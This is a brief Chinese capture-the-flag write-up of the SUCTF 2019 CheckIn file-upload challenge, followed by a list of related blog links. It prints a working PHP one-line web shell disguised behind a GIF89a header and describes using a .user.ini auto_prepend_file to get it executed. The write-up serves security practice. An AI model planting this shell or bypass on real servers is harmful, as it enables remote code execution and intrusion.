[SUCTF 2019]CheckIn1

黑名单过滤后缀'ph',并且白名单image类型要有对应文件头

对<?过滤,改用GIF89a<script language='php'>@eval($_POST['cmd']);</script>,成功把getshell.gif上传上去了

尝试用.htaccess将上传的gif当作php解析,但是失败了

根据这篇文章.user.ini文件构成的PHP后门 - phith0n (wooyun.js.org)

上传.user.ini使用auto_prepend_file=<specific_file>将指定文件包含到当前目录下的php文件前

可以看到getshell.gif的文件头已经显示出来了,说明成功包含getshell.gif,后面跟着的一句话木马自然可以运行

连接蚁剑找到flag

相关推荐
名字不相符33 分钟前
攻防世界WEB难度一(个人记录)
学习·php·web·萌新
我叫张小白。11 小时前
Spring Boot拦截器详解:实现统一的JWT认证
java·spring boot·web·jwt·拦截器·interceptor
Zender Han11 小时前
Flutter 新版 Google Sign-In 插件完整解析(含示例讲解)
android·flutter·ios·web
actor_dev2 天前
从 .NET 到 Elixir:初探 Phoenix 框架
web·phoenix·elixir
m0_488777653 天前
Web与Nginx网站服务
nginx·web
三七吃山漆4 天前
攻防世界——easy_web
安全·网络安全·web·ctf
励志成为糕手4 天前
基于SpringBoot的企业考勤管理系统设计与实现
java·spring boot·后端·web·企业应用
yezipi耶不耶5 天前
Cloudflare 11.18 故障深度复盘:当“极致优化”撞上“现实边界“
rust·web
sg_knight11 天前
微信小程序中 WebView 组件的使用与应用场景
前端·javascript·微信·微信小程序·小程序·web·weapp
逻极12 天前
Webhook 全解析:事件驱动时代的实时集成核心技术
python·web